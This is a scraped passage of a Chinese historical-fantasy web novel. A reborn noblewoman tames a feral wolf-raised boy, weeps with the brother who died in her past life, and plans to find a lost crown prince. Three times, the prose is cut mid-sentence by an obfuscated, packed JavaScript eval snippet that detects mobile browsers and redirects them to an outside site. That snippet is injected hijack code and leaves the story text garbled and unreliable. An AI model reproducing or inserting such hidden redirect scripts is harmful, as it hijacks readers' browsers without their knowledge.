姜菡萏一口一口吹着无形的气息,嘴唇淡红、饱满、微圆,像枝头刚刚开始泛红的小樱桃。 少年见过那样的果子,也吃过,好吃。 他试探地、小心翼翼地,再吹了一口气。 火折子亮了起来。 少年唬了一跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532518|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迅速后退。 “别躲,再吹灭就好了。”姜菡萏说着,先一口气吹灭,复又吹亮,再次举到他面前,“来。” 来。 少年无声地动了动唇,想试着发出这个音,但是人类的声音无法在喉咙里成形,他深吸一口气,火折子应声而灭。 少年的眸子微微亮起来。 他又吹了一口,火折子亮起。 再吹,火折子熄灭。 这团幼小的火焰不单不再可怕,反而有点好玩。 姜菡萏看他玩得差不多了,指了指桌上那盏灯,依旧做了个吹灭的动作。 少年看懂了,但有点迟疑。 姜菡萏猜测是因为那盏灯虽不如落地的七宝树灯那么高大华丽,灯盏亦分作五枝,每枝上各有一小团灯火。 她走过去。才走一步,少年立刻警觉地低吼。 “不过去,怎么吹灭?”姜菡萏对他说,“来,你来吹。” 来……少年又听到了这个字。 这一次,他没有再阻止姜菡萏,姜菡萏几步走到桌前,吹灭了其中一支灯芯。 少年四肢着地,迅疾无声地靠近,谨慎地凝望半晌,然后手搭上桌面,半直起身子,“呼”地一口吹出,猛然后退好几步远才定睛细瞧。 这一口气,吹灭了两盏。 “嗬嗬”,他高兴起来,剩下两盏没费什么力气就吹灭了。 让人安心的黑暗重新降临,他舒展了一下身体,审视着面前的人类。 弱小。 一口就可以咬死。 咬死她……就不用被锁在这里…… 他一步一步,无声地在黑暗中接近。 “他们给你送了什么吃的?不过你光顾着逃,肯定什么也没吃吧?” 姜菡萏摸黑翻起了抽屉,她炼起丹来很容易废寝忘食,苏妈妈便在这里给她准备了很多小点心,姜菡萏随便摸到一样,递给他,“先吃个这个。” 一缕浓郁的甜香就这样送到少年面前,黑暗中的杀机悄然顿了一下,少年鼻尖耸动,无法抗拒食物的气味,一口叼走。 然后他呆住了。 姜菡萏没有他那么好的眼神,一团漆黑中只看见他的身形顿住不动,心想,别是咔住了吧? 然后就听到他嘴里发出咔嚓咔嚓的声响。 哦,原来她随手拿的是一枚玫瑰糖。 用月下徊捣成花浆,加入麦牙糖反复煎熬,颜色浓郁,香味也浓郁,甜味更加浓郁,是她最喜欢的零食。她不到饿绝不想吃东西,但玫瑰糖除外,没事也能含上一颗,一颗能含半天。 但少年铁嘴钢牙,那颗糖很快就没了。 姜菡萏再递过去一颗。 一个吃,一个递,小盒里的玫瑰糖很快吃没了。 少年:“嗷呜呜呜……” 意思是:今天先放你一马,以后再来咬死你。 姜菡萏自然没听懂,不过眼睛适应了昏暗的光线,她看得出来少年的身体已经没有那么紧绷,她慢慢伏下身,抓起那根拖在地上的铁链。 少年动了一下,铁链绷紧,但应该是扯动伤处,少年很快收了劲力。 “郭俊。”姜菡萏把铁链交给郭俊,“送他回去,记住,他怕火,下次给他送吃的,别点火把……也别点灯笼。” 至于灯烛,经过今晚,他应该没那么害怕了。 少年黑闪闪的眸子看看她,再看看郭俊,一声也没出。 最好的猎杀时机错过了。 这个公人可能是个头领,很强,而他受了伤,身上还拖着这条无法摆脱的铁链…… 下次吧。 下次他不会只顾着吃了。 下一次一定……咬死她。 4. 第 4 章 送走会咬人的狼少年,丹房重新安静下来,姜菡萏想重新给丹炉点火,才发现火折给那少年了。 她在乌漆抹黑的丹房里摸了摸,没有摸到备用的。 长风从破掉的窗子里灌进来,姜菡萏忽然发现在炼丹的时候把所有人都赶走实在不是一个好习惯。 就在这个时候,不知是谁的声音从风里传来。 “……姜祯,你这襟裾马牛、衣冠狗彘之徒!上荫王爵,手无寸功,下承裙带,目不识丁!” “……整日只知涂脂抹粉,与女子何异?!” “……这般想当美人,怎么不替你妹妹嫁进东宫,自己当皇后娘娘!” “……恼怒吗?有本事就杀了我吧!” 片刻后,姜祯铁青着脸出现了,身后是被府兵押着的顾晚章。 “菡萏,人我给你带回来了。”姜祯眉毛不是眉毛,眼睛不是眼睛,“你可以把他扔进湖里喂王八,也可以把他劈了当柴烧。” 姜菡萏:“……” 她还没有开口,姜祯忽然脸色大变:“这窗子是怎么回事?!”紧跟着把姜菡萏上上下下前前后后都打量了一遍,嘴里也没闲着,把府里伺候的人全部点了一遍名,“都是死人吗?把我妹妹一个人丢在这里!” 顾晚章刀锋一样冰冷又锐利的眼神射向姜菡萏,眼神里充满嘲讽与恶意:“传闻姜家嫡长女身体虚弱,命盘殊异,所以长年在西山静养。怎么?静养的日子难捱,还需要男宠?” “你!”姜祯转身,对着顾晚章破口大骂。 骂人也需要才华,顾晚章在这方面才高八斗,根本不给姜祯半点机会,更让人头疼的是,他不单骂姜祯和姜家,他还骂承德帝。 姜菡萏心说这明显是真的不想活了。 这里离别宫可不远,万一传进承德帝的耳朵里,只怕又是惠州流放预定。 “……”姜菡萏沉思一阵,问旁边的府兵,“迷药还有吗?给他也来一份。” * 片刻后,离水活鱼般的状元郎终于消停下来,被送去后院,跟那名少年做邻居。 丹房里点上了灯,丹炉也烧了起来。 窗子里呼呼地往里灌着风,兄妹俩坐在丹炉前烤火取暖。 “妹啊,你说你捡的这两人吧,一个话都不会说,另一个呢,还不如不会说……你把他们弄回来是想做什么?你……该不会是学人家炼人丹吧?” 姜菡萏:“什么人丹?” “这不是京里时兴的吗?国师大人的丹药再灵验,那些老家伙该死的还是死了。他们近来寻摸出了新法子,说人才是天地灵气所钟,用人来炼丹,比朱砂水银都强……” 承德帝笃信道教,丹方之术在朝野间盛行,谁家院里不筑个丹房,出门都不好意思跟人打招呼。但人丹之事,姜菡萏两辈子还是首次听闻,后脑不由冒出一股子凉意:“当然不是!” 姜祯松了一口气:“吓死我了。那你要他们俩做什么?毕竟是男子,你又已经及笄……这个,多有不便。” “这是师父为我推算的星命相合之术。这二人的八字与我相合,跟他们在一处,对我大有好处,能延年益寿。” ——逃过死劫,怎么不算延年益寿呢? 姜祯大喜过望:“原来如此!还有吗?若是多找几个人,是不是对身体更好?” “嗯,还有张贺。” “……”姜祯搓手烤火的动作顿住,“张贺张大人毕竟是南疆都护,一等一的一品大员,这是被拘在京城,若是放回南疆,那可是说一不二的土皇帝,手底下二十万南疆军,一人一刀能把咱俩剁成肉酱……非他不可吗?” “非他不可。”姜菡萏点头,“不过不用把他弄咱们家,只要多来往多见面就行,比如……哥哥你可以拜他为师学箭术,我则向他请教驯兽之术,这样就可以经常把他请到家里来了。” 张贺镇守南疆多年,劳苦功高,功高便容易震主。边疆大吏每三年会回京述职一次。张贺去年来的,承德帝一直不肯放他回南疆,今日连安贵妃都开口发话,承德帝对张贺的杀机已经很明显。 但承德帝此人,没心没肺,若是旁边没有人撺掇,他乐得有人替他打理边疆,自己好吃喝玩乐。 所以,今日之事的背后,一定有人主使,但愿姜家这棵大树能震住背后宵小。 “不愧是我妹妹!怎么这么聪明!” 姜祯眼睛大亮:他说起驯兽便来劲了。 “京城有好些个驯兽场,那家没有驯好,咱们换一家就行,大不了把全京城的驯兽师都换一遍,咱们慢慢试。” “啊,还得多做几身猎装。从前做的那些一次也没穿过,都放小了。妹妹的个头比去年又长了一点呢,衣衫鞋袜都该换了。啊对了,胭脂水粉也得备些,妹妹虽然天生丽质,但要是被太阳晒黑了也不好,所以出门前得打点粉。我新作了一种粉,拿紫茉莉花做的,天然润泽,又轻又薄又匀净,看上去就跟没涂一样,看,我脸上就是,瞧不出来吧?” 他喜孜孜地把脸往姜菡萏跟前凑。 时人崇尚奢华,不单女子个个严妆,发髻珠翠环绕,连男子也涂脂抹粉,帽插珠花,日常比美,十分精心。 姜祯唇红齿白,眉目秀逸,眼睫毛比姑娘家还要长,鼻梁高挺,气度华贵,论相貌本就已十分出众。更兼每日是醉心装扮,光是他的冠带衣裳靴袜,姜家就要腾出两三个院子来放。他是京城最受瞩目的贵公子,无论是谁家的筵席,若是不能请到姜家家主到场,哪怕酒水饮食再别致也是黯然无光。 上一世兄妹俩在逃亡中离散,姜菡萏最后一次见到兄长,是姜祯省下半个馒头,悄悄给她吃。 那时是阴雨天气,雪半化不化,每一寸空气都冷得人发抖,但那半只馒头被油纸包得妥妥当当,一只藏在他的胸口,拿在手里,格外温热。 “妹妹快吃,我一口气吃了四五个呢,可撑死我了!” 哥哥的语气总是那么爽朗,要不是声音沙哑,面色发青,身形更是已经削瘦得不像样子,说不定真能骗人。 “哥哥吃。”她把馒头递回去,“哥哥更辛苦。” “我辛苦什么?好不容易瘦下来,再多吃,胖回去怎么办?那多难看。”姜祯蛮不在乎地说着,“你慢慢吃,我去前面探探路。” 他说着就走了,然后再也没有回来。 隔着一片山林,姜菡萏隐隐好像听见有兵戈铁马之声,后来才知道,当时有队叛军正朝她藏身的地方来,哥哥故意暴露,引开了他们。 所幸有暗卫保护,哥哥甩脱了那次的追兵,只是兄妹俩从此失散,姜祯去了宁城,是蜀中面对叛军最后的屏障。 他在宁城坚守到了最后一刻,城门被攻破的时候,从城头一跃而下,以身殉国。 暗卫带来了他最后的遗言,那时她已经在蜀中匆匆成为皇后。 ——妹妹,运气真糟,哥哥不能送你嫁人,但哥哥会死得干脆痛快,绝不会成为叛军要挟你的俘虏。 ——妹妹,新婚快乐,平安幸福。 而今再见,灯火与炉火映得哥哥目光明亮,精神饱满,身姿挺拔,像一株在春天里蓬勃生长的绿树,枝条舒展,花开烂漫,如此耀眼。 真是,太好了。 “看不出来,很好看。”姜菡萏声音里有点哽咽,再也忍不住,她靠进哥哥怀里,抱住哥哥,“真的很好看……” 姜祯露出灿烂的笑容,抱住妹妹,但下一瞬,他的笑容顿住。 “不对啊,一般这种时候,你不是会让我闭嘴吗?” 他一低头,发现妹妹竟然哭了,立马惊慌。 菡萏生下来便和别的小孩不一样,不哭不闹,不说不笑。姜祯第一次抱妹妹,妹妹在襁褓里,粉雕玉琢,睁着一双葡萄似的眼睛,静静地看着他。 她就这样看啊看,再长大一些,仿佛就把尘世里的一切都看腻了,花儿粉儿,蝴蝶小鸟……她什么也不喜欢,什么也不在意。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532519|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 直到五岁那年进了虞仙芝的丹房,刹那间,对丹房中央的那只丹炉一见钟情。 姜祯努力回忆上一次妹妹哭是什么时候,发现还是十二年前父母去世时。 十二年了,姜菡萏从未掉过一滴眼泪,现在竟然哭了! 姜祯把这辈子所有哄人的话都掏出来了,姜菡萏还是哭得不能自抑,像是要把所有委屈和伤心全部哭出来。 从前她觉得哥哥很无聊,哥哥喜欢的胭脂水粉也很无聊。 “我从前……太不懂事了……”姜菡萏抽抽咽咽,“现在我长大了,才知道哥哥是世上最好的哥哥,哥哥只要开开心心地活着,做什么都好。” 姜祯呆了片刻,一把将姜菡萏抱进怀里:“呜呜呜呜妹妹你怎么这么好……” 姜菡萏也抱住哥哥。 哥哥身上有好闻的香气,不是玫瑰香,但也清甜。 是老天爷对她不薄,能再给她一次机会。 这一次,她一定要护住哥哥。 “哥哥,还有一个人,更加重要,最最重要。” “谁?你说。”哪怕是天上的嫦娥,海里的龙王,只要妹妹要,他都要找过来! “昭惠太子,风晔。” “好——”姜祯才说了一个字,整个人就呆掉,“……谁?!” 姜菡萏认真地看着他,表示自己并非口误。 姜祯吃吃道:“可昭惠太子已经死了啊,死了十二年了都……” 十二年前,也是这样一个冬天,也是这样一场冬猎,在西山十景之一的莲花台,先帝约他们的父亲垂钓,一起同行的还有先皇后与他们的母亲,以及三岁的皇子风晔。 姜菡萏本来也该去,但头一天夜里突然发热,只能留在别院,因此逃过一劫。 一场雪崩来得毫无预兆,人力在天灾面前何其渺小,大块的冰雪天崩地裂摧枯朽,淹没钓台,埋葬了大央身份最为尊贵的夫妻和孩童。 先帝并无兄弟,风晔又是他唯一的儿子,旁支中唯有承德帝血脉最为相近,遂成为大央新君,风晔被追谥为昭惠太子。 此事天下皆知,所以五年后天下大乱、群雄并起之时,来自北方的军阀许崇义横空出世,以昭惠太子的名义征讨反逆,人们都笑话许崇义想挟天子以令诸侯也不知道找个活的,非要刨个死人,直到敬老王爷站出来。 敬老王爷比太皇太后还要高一辈,承德帝都要管他叫一声太祖叔。他是风家最大的老祖宗,亲自掌管着宗正寺,就为了不让任何人混淆皇家血脉。 有敬老王爷验明正身,昭惠太子成为众望所归,他本人亦十分骁勇,百战百胜,所向披靡,终结乱世,成为风家的中兴之主。 人们说他是真龙之子,有上天庇佑,所以逃过了那场可怕的雪崩。 姜菡萏:“我夜观天相,发现他命星仍在,他没死,他还活着。哥哥,你或许可以从一个叫许崇义的人身上下手,他此时应该在北疆。不过,此事只能你知我知,绝对不能向第三个人提起。” “你当你哥傻的吗?” 承德帝之所以坐上帝位,就是因为先帝一脉死绝了,昭惠太子若真杀回来,承德帝第一个不答应。姜祯心有余悸摸了摸自己的大好头颅,“妹妹,要是找到他,就能给你延年对吧?” 姜菡萏点头:“对。” 提前找到风晔,提前终结乱世,所有在乱世中丧命的人都可以得到拯救。 姜祯用力点头:“好!” 上穷碧落下黄泉,他一定要把这人翻出来! * 后院厢房,月光透过窗棱,投进来一点微茫的光。 屋子忽明,忽暗。 床上空无一人,被褥齐整,没有动过一分一毫。 满头乱发的少发蜷缩在屋角,手里拿着火折子。 呼,一下吹亮。 呼,又一下吹灭。 正玩着,忽然鼻尖一痒,他仰起头。 “阿——嚏!” 5. 第 5 章 第二天,姜菡萏不出门,就窝在别院里。 暖香坞里地龙烧得旺旺的,温度宛如暮春时节,压根不用穿大衣裳,只穿里头轻盈的丝衣。 姜菡萏穿天青色上襦,朱红色绣八宝璎珞的及胸长裙,整个人像一朵半开娇艳的石榴花。 她的头发披散下来,长过腰际,滑如丝,顺如瀑,漆黑光亮。阿喜每次替小姐梳头都爱不释手,“小姐,日日都梳螺髻,太简单了,今日换个飞仙髻好不好?” 这种建议从前一般只会换来一句直截了当的“螺髻”,但今天姜菡萏“嗯”了一声,忽然抬了头,“我的首饰匣子在哪里?” 阿喜一声欢呼,侍女们都分外高兴,连阿福都满面笑容,动手去搬,口里道:“阿弥托佛,这些宝贝总算有机会见一见天日了。” 很快各色匣子便源源不断搬出来。 有锦缎的、有紫檀木的、有螺钿的、有象牙的、有玉雕的、有银制的……还有一只纯金镶宝石的,那是姜祯送的及笄礼,不单匣子贵重,里面还有满满一整套黄金嵌鸽子血的首饰,三大钗、八小钗、项圈耳环手镯戒指,无一不有。 单是一张桌子都摆不下,妆台、书桌、几案……最后连贵妃榻上都摆满了。 每一只匣子打开,里面都是珠光宝气,光华迷人眼,屋子被映成了水晶龙宫。 姜菡萏自己都吃惊了:“……这么多?” “这里才多少?大半都在府里呢。”阿福笑道,“三时六节,每年生辰,外头人孝敬的就不说了,单说宫里有太皇太后、皇太后、先前的皇后娘娘、现在的安贵妃,每有赏赐,小姐都是头一份,连公主都得排在后头。再加上咱们自己家里各房的长辈老夫人,哪一个不给小姐备一份礼物?更别提家主大人,但凡有什么时新样式,旁人家有的,小姐必定也得有,单只这一项,一年少说也有两匣子。” 阿喜道:“还有夫人留给小姐的,都没带来呢,那更是大头。要我说,还是搬过来是正经,留在家里,说不准便宜了谁。” ……所以,前世她耳环都没戴上一只,这全部的全部、所有的所有,全便宜了叛军?! 可恨! 姜菡萏开始狠命往手上套镯子。专挑又粗又重的金镯子。 侍女们被她的审美惊呆了,阿福挑了一只玉镯,一只红宝石手串:“小姐要不要试试这两件?和小姐今日的衣裳很配。” “你们不懂,什么玉的宝的,都不如金的。 只有金的能救命。” 比如逃难的时候,可以换吃的。 两只手腕都戴得满满的,她心里很满足。 只是沉甸甸的,腕子上像是套了两个大锤,实在扛不住,满足了一会儿,便摘下来放回去,向几人道:“你们挑吧,每人挑上一匣子,赏你们的。” 阿福四人愣住。 但凡能送到姜菡萏面前的,无一不奇珍异宝,随便拿出去一两件,都能让人一世吃喝不尽,更别提一匣子。 “不要?”姜菡萏歪了歪头,“不要那我可收起来了。” “要要要!”女孩子们反应过来,欢喜不尽地开始挑选,你帮我看,我帮你看,叽叽喳喳,快活得像小鸟。 苏妈妈打从外面进来,就瞧见屋子里这一片欢呼雀跃的景象。苏妈妈是古板的老人,凡事都要讲究一个尊卑有别,进来就要喝止女孩子们,姜菡萏率先道:“妈妈过来,我有东西要给你。” 姜菡萏从抽屉里拿出几张房地契,递给苏妈妈。 苏妈妈是识字的,只见上头有一所城南的宅子,足有三进,外加两间铺面,城外还有两百亩田地。 苏妈妈也呆住了:“这……小姐这是做什么?为什么要赏我们这么些?” 因为……你们上一世跟着我受苦了。 她生来就是主子,所以天然地便觉得,下人服侍她、忠于她是天经地义的事,可是后来逃命途中,背叛的背叛,离散的离散,但苏妈妈和四名侍女却是不离不弃,只是,最后没有一个人能得善终。 “因为我高兴。”姜菡萏抓起几只镶宝金镯,套到苏妈妈手上,“妈妈照顾我到这么大,我该给妈妈养老的。” 苏妈妈眼圈儿迅速红了,握着姜菡萏的手,说不出话来。 姜菡萏是个好主子,事少话少,但就是性子冷淡,从不亲近任何人,有下人私下议论,说小姐的心就是块冰,捂不热的,当场就被苏妈妈骂出去了。 她的小姐……明明就是世上最好的小姐! 女孩子们本来只是欢喜,见苏妈妈这样,也觉得眼眶有些发热。 被这么多双发红的眼睛望着,姜菡萏有点招架不住,正好,这时郭俊求见,姜菡萏忙命传。 郭俊一进院子,“扑通”一声就跪下了:“属下无能,让那少年给跑了。” “跑了?”姜菡萏诧异,“你们这么多人,守不住他一个?” 郭俊满面羞愧:“都是属下的错,属下以为他身上有伤,又拖着锁链,定然跑不了,所以门前窗下,只派了四个人守夜。” 姜菡萏心想,四个守一个,不算失职了。 别院整夜都有府兵巡逻,再加上因为哥哥在,还有暗卫在暗中守护,别说一个大活人,就算一只鸟也休想轻易飞出去。 “带我过去看看。” * 这所院子背靠后花园,是昔年某位家主暮年养静之所,最是清冷安静。 左右两间厢房连在一处,西边那间静悄悄,顾晚章到底是个文弱的读书人,药效还没有过去,尚在昏睡。不比那少年,下午用的药,晚上就重新活蹦乱跳了。 东边的厢房门窗都开着,原本守夜的人跪在原位,等候处罚。 房门和窗户都好端端的,据守夜的人说,里面一直无声无息。 姜菡萏一走进屋子就觉得不对,太亮了,全然没有半点深宅大户的幽深。 然后一抬头,发现屋顶上多了个洞,初升的冬日正将光芒晒进来,暖是没有多暖,亮却是足够照见屋子里所有一切。 看来他不单属狼,还属猴,也不知道他是用了什么神通,居然爬上了房梁,悄没声息地把屋顶瓦片卸下来,神不知鬼不觉地跑了。 “小姐!”守在门口的一人膝行向前两步,行礼道,“属下恳求小姐准许属下把所有人带上,哪怕是将整座西山翻个底朝天,属下也会将那畜牲带回来献给小姐!” 姜菡萏眯起眼睛,看着这个人。 她记得他——府兵副尉,赵驰。 逃出京城后,她和皇帝车驾被乱军冲散,一度掉队,遭遇了叛军。 赵驰带着心腹同党暗杀了郭俊,然后将姜菡萏献给叛军。 姜家长女身份尊贵,大有用处,叛军不敢轻动,但侍女们却没有一个逃过。女孩们的号叫与叛军的狂笑交织在一起,那一夜是姜菡萏人生中从未有过的漫长。 很好,她正要去找他,他就自己送上门来了。 “你是想立功想疯了,还是生怕别人不知道我才应下圣命,就把人给丢了?”姜菡萏冷声道,“郭校尉,把他们几个关起来,等我好生处置。” “好生”两个字,她说得很慢很慢。 赵驰立刻喊起冤来,郭俊堵上他的嘴,让人把他和另外三人带下去。 屋子里安静下来,姜菡萏走进去。 这里干净得像是根本没有人住过,被子一丝不乱,桌上的茶壶与茶杯也摆得整整齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532520|170825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐,姜菡萏过去拎起茶壶——果然是满满一壶,少年不曾喝过一口。 他像是一只路过这里的猫,或是飞过这里的鸟,总之不像住过这里的人。 也许人类的世界对他来说,就是这么格格难入。 忽地,她想到了什么。 “你们发现他跑了后,有没有去别处找过?” “都找过了。”郭俊沉痛道,“哪里都找不见。” “狗窝找过吗?” 郭俊一怔。 * 姜菡萏喜静,所以别院没有养狗。 但每年围猎,姜祯都会带着十几条猎犬过来,所以别院的马厩旁修了一间狗窝,半人高,栅栏处开了一道门,以供下人进去清扫。 旁人打猎,训的一般是细犬,图其飞速而持久。姜祯不是。 “要跑那么快做什么?我打马都追不上,累也累死了,出一身臭汗,粉都化了。”姜祯这样说,“猎犬嘛,要的就是威风气派,图的就是高大威猛,当然是狼狗最好啦。” 今天姜祯一早便去了别宫,他不打算下场,只准备展示自己的美貌与华服,猎犬们都留在别院,此时全挤在马厩旁的狗窝里。 狗的听觉最是敏锐,姜菡萏带着人还没有走近,就听到里面吠声一片。 养狗的师傅先过去,喝令狗子们闭嘴,然后他“啊哟”一声:“我的娘咧,真在这儿!” 姜菡萏的视线越过狗师傅的背影,看到身在狗窝深处的少年。 他是一个半蜷缩的姿势,显然刚刚从梦中醒来,但一醒来眼神便像冰雪一样清醒,充满戒备。他两手抓地,低低呲牙。 他的位置靠角落,但不在最角落——昨天晚上,他就是睡在这里,和狗子们挤在一处。这些狗酷似他的“家人”,把他围在中间,身上温热的皮毛覆盖着他,他应该睡得比在屋子里安稳很多。 狗师傅一来仗着自己统御着这些狗,二来想在姜菡萏面前露露脸,把袖子一捋,探身进去便抓向那少年:“好小子,躲在这里,让小姐好找——” “师傅不可!”郭俊大喝。 他是领教过少年的本事的,这少年明明没有练过武,但身法比风还快,力气比牛还大,身体比泥鳅还滑溜,一般人绝不是对手。 果然他话音刚落,狗师傅便惨叫一声,踉跄后退,衣袖被扯去半只,胳膊上留下一道深深的爪痕,几可见骨。 别院长年住着两位大夫,专为姜菡萏调理身体,姜菡萏让人先把狗师傅送去找大夫,然后告诉郭俊:“他愿意待在这儿,就让他待在这儿,在驯兽师过来之前,不要再让人进去了。” 郭俊:“是。” 那些狼狗都是师傅驯熟的,目睹这般景象,转身“嗷呜”一声,就要冲向少年。 少年发出一声更大声的咆哮,十几条狗子瞬间夹紧了尾巴,软下了身子,慢慢蹭到少年身边,讨好地蹭蹭。 少年舔掉手上的鲜血,像是对待什么美味的东西,一滴也没有浪费,视线一直冷冷地望着栅栏外的姜菡萏。 人类都长得差不多,很难分辨,但他记得她的味道。 很香,很甜。 她是这里所有人的头领。 是他准备咬死的人。 现在,她送上门来了。 忽地,她把爪子伸进来。 她的爪子很小,很白,上面托着一颗圆圆的、小果子一样的东西。 他的鼻尖一动,鼻子比脑子更快回忆起了那是什么。 那是昨天晚上她给他吃的东西。 少年挪动四肢,手脚足地,以一种奇妙的韵律慢慢爬过来。 ——我只吃一口。他想。 就一口。 6. 第 6 章 “小姐,危险!”郭俊一把将姜菡萏拉到身后,那块糖落在地上。 少年怔怔地看着那颗糖,隔着一道栅栏,够不着了。 “嗷——” 他仰天长啸,狼嚎声仿佛要把屋顶掀翻,猛扑到栅栏前。 “昨晚送他回房后,给过东西他吃吗?”姜菡萏问郭俊。 “属下交待过……” 郭俊的声音听上去不那么自信。姜菡萏回想那间纤尘不染的屋子,下令的是郭俊,但奉命的是赵驰,就赵驰那种一心想要宰了上司的人,指定没送。 难怪,看把孩子饿成什么了。 “去拿点吃的,要肉。” 郭俊吩咐下去,完了忍不住问道:“小姐,您不害怕吗?”他的刀都出鞘了,就怕少年扑出来。 姜菡萏没答话,低头翻荷包。 兽有什么好害怕的?只要填饱了肚子,老虎也不过是只大猫。 人就不一样了,无论给人多少,人永远都不会满足。 荷包里翻出两颗糖。 少年看着刀光杀气腾腾,看到那颗糖忍不住舔了舔唇,视线粘在了糖上面。 姜菡萏微笑。 多好啊,心思全写在脸上。 她喜欢。 她把手伸过去一点。 郭俊一颗心都提了起来,紧紧握住刀锋。 太近了,少年盯着面前的糖,也盯着握糖的爪。 只要一张嘴,就能把那只爪子咬下来。 他尝过鲜肉的滋味,知道这样细肌的肌肤,这样柔软的爪子,尝起来会有多美味。 但她在微笑,就像昨天晚上的笑容一样,温柔美好,像春天花开满树,看得人心头暖暖的,亮亮的。 最终,他低下头,叼走那块糖。 又忍不住,在那白生生、嫩滋滋、香喷喷的手掌心里舔了一口。 “哈,痒的。”姜菡萏说,“不许舔人。” 少年歪着头,漆黑的眸子看着她,嘴里咔滋咔滋,甜美的味道充满口腔。 “糖不是这么吃的。”姜菡萏把剩下那颗含进嘴里,示范给他看,“喏,放嘴里,但不嚼,一直含着,就可以一直甜。” 少年听不懂,但目光专注,看着她舌尖上的糖。 这时候府兵端了吃的过来。 一大碗肉,一大碗饭,还有一碗汤。 把托盘放进窝里的时候,府兵紧张得脸都白了,生怕自己变成第二个养狗师傅。 但还好,少年没动。 狗子们已经在流口水了,却像是被无形的力量压制着,看看肉,又看看少年,也没有动。 场面一时异常安静。 “喏,给你的,吃吧。”姜菡萏说。 少年不知听没听懂,他的鼻子在抽动,眼神里却多了一丝愤慨与恐惧,不仅没有上前,反而后退了一步。 “他可能没吃过饭。”郭俊道,“看昨日他在围场里生啖鹿肉,只怕仍是血食。” 为了保住他的野性,斗兽场的老板还真是无所不用其极。 姜菡萏让人换了一盘生肉过来。 少年的眼神明显变了,甚至咽了口口水,却依旧没动,眼中的愤怒益发明显,低低咆哮。 “小姐,他在斗兽场,应该是被当作野兽来驯的。”郭俊低声道,“他们不会让他吃盘子里的东西,让属下把肉扔地上试试吧。” 姜菡萏昨天觉得那斗兽场的老板死得挺惨,现在却觉得,那叫死不足惜。 这少年倔得很,不知道要多少次鞭子,才被驯成现在这样。 姜菡萏有点愤怒。没来由地。 “他是人,不是狗。”姜菡萏冷声道,“把我早饭端过来,我就在这里吃。” 苏妈妈等人你看看我,我看看你,只觉得小姐从围场回来后,样样都有新鲜古怪。 苏妈妈大着胆子劝了一句,“这里风大,冷,又是马,又是狗……” 姜菡萏:“去。” 那个说一不二的姜菡萏回来了。 再也没有人多说半个字,早餐很快搬来。 有粥、有汤、有小菜和各色细点,全部改用小巧砂锅,底下坐着小瓷炉,生怕凉了。 桌椅也搬来了。 姜菡萏就隔着栅栏,和少年坐了个面对面,开始吃饭。 少年不敢吃自己面前的东西,但一直紧紧盯着姜菡萏。 姜菡萏拿起筷子,想了想,又放下,拿起银匙,对少年晃了晃,然后勺起一匙粥,送进嘴里。 少年手动了动,有点想碰面前的勺,但又顿住。 姜菡萏也不催他,自己慢慢喝了半碗粥,拈一只一寸来长的小饺子,送进栅栏内。 碗里的不能吃,手上的能吃——少年低头就叼走了。 姜菡萏想了想,用筷子扎起一块生肉,递过去。 少年一下就叼过去,一面大口吞咽,一面警惕地看着郭俊手里的刀,眸子雪亮冰冷。 姜菡萏又喂了一块。 一直喂了五六块,剩下再给他,他没有再吃,叼走扔到角落。 狗子们一涌而上,抢着分食。 而他自己只在旁边看着,有哪条狗抢得狠了,他便“呜”地一声,神情非常严厉,那狗子立即夹起了尾巴。 他身上的鞭痕已经红肿,一条一条像红色的蜈蚣爬在身上,有些在渗血,脖颈下面的鲜血干了一层又一层。 姜菡萏怀疑那上面有倒刺,当时那老板扯动的时候,他也在流血。 得上药。 她缓缓伸出手,想抓住链子。 那链子就拖在地上,离她不远。 但她刚一动,少年就发现了,迅速把锁链甩到身后,嗷了一嗓子,直对着姜菡萏呲牙。 看来这是他的逆鳞。 但不上药真的不行……上一世的逃难途中,她亲眼看见过很多人的伤口得不到及时救治,起初还能强撑,但要不了多久,都会红肿发热,慢慢死去。 “用迷药吧。”姜菡萏跟郭俊说。 郭俊掏出迷药,只是刚揭开纸包,少年就弓起背脊,低吼不已,并且开始后退。 姜菡萏:“……” 完了,他记住这味道了! * 姜菡萏没辙了,只能等驯兽师过来。 昨天下午郭俊前脚把人带回别院,后脚就派人去京城。 只是西山与京城有一个多时辰的路程,派去的人没办法在城门关闭之前赶回来,只能等到今天早上开城门。 姜菡萏回房没多久,他们便把人带到了。 “小人季二,见过贵人。” 季二是个身形精干的中年人,腰间挂着一条牛皮编成的长鞭,恭恭敬敬跪在庭中,“这牲畜就是我和老板一起捉住的,贵人把他交给小人,尽管放心。” 隔着帘栊,姜菡萏问道:“你们怎么抓住他的?” 